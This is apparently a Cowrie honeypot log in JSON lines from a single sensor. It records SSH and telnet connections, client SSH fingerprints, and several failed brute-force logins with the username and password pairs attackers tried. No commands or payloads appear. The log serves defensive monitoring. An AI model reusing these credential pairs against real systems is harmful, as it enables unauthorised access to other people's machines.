{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58880,"dst_ip":"159.203.135.109","dst_port":23,"session":"51bdc0b70fcf","protocol":"telnet","message":"New connection: 135.148.14.151:58880 (159.203.135.109:23) [session: 51bdc0b70fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:31.128236Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38956,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f89d7efd48","protocol":"telnet","message":"New connection: 135.148.14.151:38956 (159.203.135.109:23) [session: 76f89d7efd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:52.234574Z"}
{"eventid":"cowrie.session.closed","duration":34.260438680648804,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:05:58.678459Z","src_ip":"135.148.14.151","session":"4cde6452fe64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.46275544166565,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:05.590866Z","src_ip":"135.148.14.151","session":"51bdc0b70fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.84338402748108,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:05.798293Z","src_ip":"135.148.14.151","session":"2573389d117c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53578,"dst_ip":"159.203.135.109","dst_port":23,"session":"2225fd2c0308","protocol":"telnet","message":"New connection: 135.148.14.151:53578 (159.203.135.109:23) [session: 2225fd2c0308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:14.747004Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:37.699447Z","src_ip":"176.32.39.21","session":"f4c205861505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":38804,"dst_ip":"159.203.135.109","dst_port":22,"session":"da50a88eb5a7","protocol":"ssh","message":"New connection: 62.133.63.178:38804 (159.203.135.109:22) [session: da50a88eb5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:44.802372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:44.808033Z","src_ip":"62.133.63.178","session":"da50a88eb5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:44.935559Z","src_ip":"62.133.63.178","session":"da50a88eb5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37612,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f116bfd1268","protocol":"telnet","message":"New connection: 135.148.14.151:37612 (159.203.135.109:23) [session: 7f116bfd1268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:44.948378Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jungle","message":"login attempt [root/jungle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:45.333568Z","src_ip":"62.133.63.178","session":"da50a88eb5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:46.463159Z","src_ip":"62.133.63.178","session":"da50a88eb5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00405931472778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:49.750965Z","src_ip":"135.148.14.151","session":"2225fd2c0308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":35140,"dst_ip":"159.203.135.109","dst_port":22,"session":"83cc93ede814","protocol":"ssh","message":"New connection: 37.233.85.71:35140 (159.203.135.109:22) [session: 83cc93ede814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:51.331047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:51.336366Z","src_ip":"37.233.85.71","session":"83cc93ede814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:51.440679Z","src_ip":"37.233.85.71","session":"83cc93ede814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adidas228","message":"login attempt [root/adidas228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:51.763297Z","src_ip":"37.233.85.71","session":"83cc93ede814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:52.870479Z","src_ip":"37.233.85.71","session":"83cc93ede814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40038,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c21ec79c429","protocol":"ssh","message":"New connection: 38.93.206.2:40038 (159.203.135.109:22) [session: 3c21ec79c429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:54.640744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:54.650312Z","src_ip":"38.93.206.2","session":"3c21ec79c429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:54.701408Z","src_ip":"38.93.206.2","session":"3c21ec79c429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47386,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e8b2e49fd7f","protocol":"telnet","message":"New connection: 135.148.14.151:47386 (159.203.135.109:23) [session: 1e8b2e49fd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:54.724683Z"}
{"eventid":"cowrie.session.closed","duration":0.005791664123535156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:54.730319Z","src_ip":"135.148.14.151","session":"1e8b2e49fd7f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adelaida","message":"login attempt [root/adelaida] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:54.854748Z","src_ip":"38.93.206.2","session":"3c21ec79c429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":35888,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14a67aac1ee","protocol":"ssh","message":"New connection: 129.226.4.94:35888 (159.203.135.109:22) [session: d14a67aac1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:55.733113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:55.738015Z","src_ip":"129.226.4.94","session":"d14a67aac1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:55.908383Z","src_ip":"38.93.206.2","session":"3c21ec79c429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:55.976286Z","src_ip":"129.226.4.94","session":"d14a67aac1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123!","message":"login attempt [ubuntu/ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:56.961765Z","src_ip":"129.226.4.94","session":"d14a67aac1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:06:58.203362Z","src_ip":"129.226.4.94","session":"d14a67aac1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52350,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d857500fc7","protocol":"telnet","message":"New connection: 135.148.14.151:52350 (159.203.135.109:23) [session: f6d857500fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:20.110329Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51552,"dst_ip":"10.17.0.5","dst_port":22,"session":"4db519b70983","protocol":"ssh","message":"New connection: 51.250.105.222:51552 (10.17.0.5:22) [session: 4db519b70983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:30.075367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:30.081531Z","src_ip":"51.250.105.222","session":"4db519b70983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:30.213540Z","src_ip":"51.250.105.222","session":"4db519b70983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:30.617054Z","src_ip":"51.250.105.222","session":"4db519b70983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:31.750910Z","src_ip":"51.250.105.222","session":"4db519b70983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.53618121147156,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:36.484441Z","src_ip":"135.148.14.151","session":"7f116bfd1268","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":23018,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5422d0511e","protocol":"ssh","message":"New connection: 45.148.10.152:23018 (10.17.0.5:22) [session: 5f5422d0511e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:38.331198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:38.335667Z","src_ip":"45.148.10.152","session":"5f5422d0511e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:38.419181Z","src_ip":"45.148.10.152","session":"5f5422d0511e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:38.771405Z","src_ip":"45.148.10.152","session":"5f5422d0511e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00354647636414,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:52.237997Z","src_ip":"135.148.14.151","session":"76f89d7efd48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34046292304993,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:07:53.450675Z","src_ip":"135.148.14.151","session":"f6d857500fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48798,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf4cda80782","protocol":"telnet","message":"New connection: 135.148.14.151:48798 (159.203.135.109:23) [session: abf4cda80782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:08.622898Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":50860,"dst_ip":"159.203.135.109","dst_port":22,"session":"3852cee817d0","protocol":"ssh","message":"New connection: 103.98.149.87:50860 (159.203.135.109:22) [session: 3852cee817d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:09.382459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:09.505023Z","src_ip":"103.98.149.87","session":"3852cee817d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:08:09.766652Z","src_ip":"103.98.149.87","session":"3852cee817d0","protocol":"ssh"}
